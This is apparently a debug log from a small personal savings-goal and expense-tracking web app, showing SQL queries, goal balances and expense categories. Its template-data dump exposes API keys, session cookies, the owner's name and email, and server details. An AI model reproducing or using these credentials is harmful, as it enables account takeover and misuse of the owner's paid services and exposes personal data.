      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-10T03:42:46.622Z server-connect:output restrict: undefined
2026-03-10T03:42:46.622Z server-connect:app Executing action step paged
2026-03-10T03:42:46.623Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-10T03:42:46.623Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '181000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '181000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '181000',
    last_transaction_date: 2026-03-10T03:42:45.000Z,
    percentage_achieved: '90.50',
    grand_total_saved: '181000',
    grand_total_target: '4300000'
  }
]
2026-03-10T03:42:46.625Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 6,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 70000,
      debit: 0,
      created_on: '2026-03-10T03:42:45.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 0,
      debit: 25000,
      created_on: '2026-03-07T01:28:10.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 20000,
      debit: 0,
      created_on: '2026-03-06T16:36:36.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 21000,
      debit: 0,
      created_on: '2026-03-06T16:31:24.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-10T03:42:53.465Z server-connect:router Serving serverConnect /api/goals/transaction
2026-03-10T03:42:53.465Z server-connect:app Executing action step identify
2026-03-10T03:42:53.465Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:53.465Z server-connect:output identity: 1
2026-03-10T03:42:53.465Z server-connect:app Executing action step restrict
2026-03-10T03:42:53.465Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:53.466Z server-connect:output restrict: undefined
2026-03-10T03:42:53.466Z server-connect:app Executing action step insert
2026-03-10T03:42:53.466Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'target_transaction',
    returning: 'id',
    query: 'insert into `target_transaction` (`created_on`, `credit`, `debit`, `target_id`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2026-03-10T03:42:53.467Z server-connect:output insert: { affected: 1, identity: 17 }
2026-03-10T03:42:53.717Z server-connect:router Serving templateView /goal
2026-03-10T03:42:53.718Z server-connect:app Executing action step identify
2026-03-10T03:42:53.718Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:53.718Z server-connect:output identity: 1
2026-03-10T03:42:53.718Z server-connect:app Executing action step restrict
2026-03-10T03:42:53.718Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:42:53.718Z server-connect:output restrict: undefined
2026-03-10T03:42:53.718Z server-connect:router Render template layouts/main
2026-03-10T03:42:53.718Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-03-10T03:42:53.723Z server-connect:router Serving serverConnect /api/goals/list
2026-03-10T03:42:53.723Z server-connect:app Executing action step identify
2026-03-10T03:42:53.723Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:53.723Z server-connect:output identity: 1
2026-03-10T03:42:53.723Z server-connect:app Executing action step restrict
2026-03-10T03:42:53.723Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:53.724Z server-connect:output restrict: undefined
2026-03-10T03:42:53.724Z server-connect:app Executing action step custom
2026-03-10T03:42:53.724Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-10T03:42:53.725Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '200000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '200000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '200000',
    last_transaction_date: 2026-03-10T03:42:53.000Z,
    percentage_achieved: '100.00',
    grand_total_saved: '200000',
    grand_total_target: '4300000'
  }
]
2026-03-10T03:42:54.398Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-10T03:42:54.398Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-10T03:42:54.400Z server-connect:router Serving serverConnect /api/goals/list
2026-03-10T03:42:54.400Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-10T03:42:54.401Z server-connect:app Executing action step identify
2026-03-10T03:42:54.401Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:54.401Z server-connect:output identity: 1
2026-03-10T03:42:54.401Z server-connect:app Executing action step restrict
2026-03-10T03:42:54.401Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:54.401Z server-connect:app Executing action step identify
2026-03-10T03:42:54.401Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:54.401Z server-connect:output identity: 1
2026-03-10T03:42:54.401Z server-connect:app Executing action step restrict
2026-03-10T03:42:54.401Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:54.401Z server-connect:output restrict: undefined
2026-03-10T03:42:54.401Z server-connect:app Executing action step select
2026-03-10T03:42:54.401Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-10T03:42:54.402Z server-connect:output restrict: undefined
2026-03-10T03:42:54.402Z server-connect:app Executing action step single
2026-03-10T03:42:54.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-10T03:42:54.403Z server-connect:app Executing action step identify
2026-03-10T03:42:54.403Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:54.403Z server-connect:output identity: 1
2026-03-10T03:42:54.403Z server-connect:app Executing action step restrict
2026-03-10T03:42:54.403Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:54.404Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-10T03:42:54.404Z server-connect:app Executing action step identify
2026-03-10T03:42:54.404Z server-connect:app options: { provider: 'security' }
2026-03-10T03:42:54.405Z server-connect:output identity: 1
2026-03-10T03:42:54.405Z server-connect:app Executing action step restrict
2026-03-10T03:42:54.405Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:42:54.406Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-10T03:42:54.406Z server-connect:output restrict: undefined
2026-03-10T03:42:54.406Z server-connect:app Executing action step custom
2026-03-10T03:42:54.406Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-10T03:42:54.407Z server-connect:output restrict: undefined
2026-03-10T03:42:54.407Z server-connect:app Executing action step paged
2026-03-10T03:42:54.407Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-10T03:42:54.409Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '200000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '200000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '200000',
    last_transaction_date: 2026-03-10T03:42:53.000Z,
    percentage_achieved: '100.00',
    grand_total_saved: '200000',
    grand_total_target: '4300000'
  }
]
2026-03-10T03:42:54.410Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 7,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 19000,
      debit: 0,
      created_on: '2026-03-10T03:42:53.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 70000,
      debit: 0,
      created_on: '2026-03-10T03:42:45.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 0,
      debit: 25000,
      created_on: '2026-03-07T01:28:10.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 20000,
      debit: 0,
      created_on: '2026-03-06T16:36:36.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 21000,
      debit: 0,
      created_on: '2026-03-06T16:31:24.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-03-10T03:52:38.051Z server-connect:router Serving templateView /goal
2026-03-10T03:52:38.051Z server-connect:app Executing action step identify
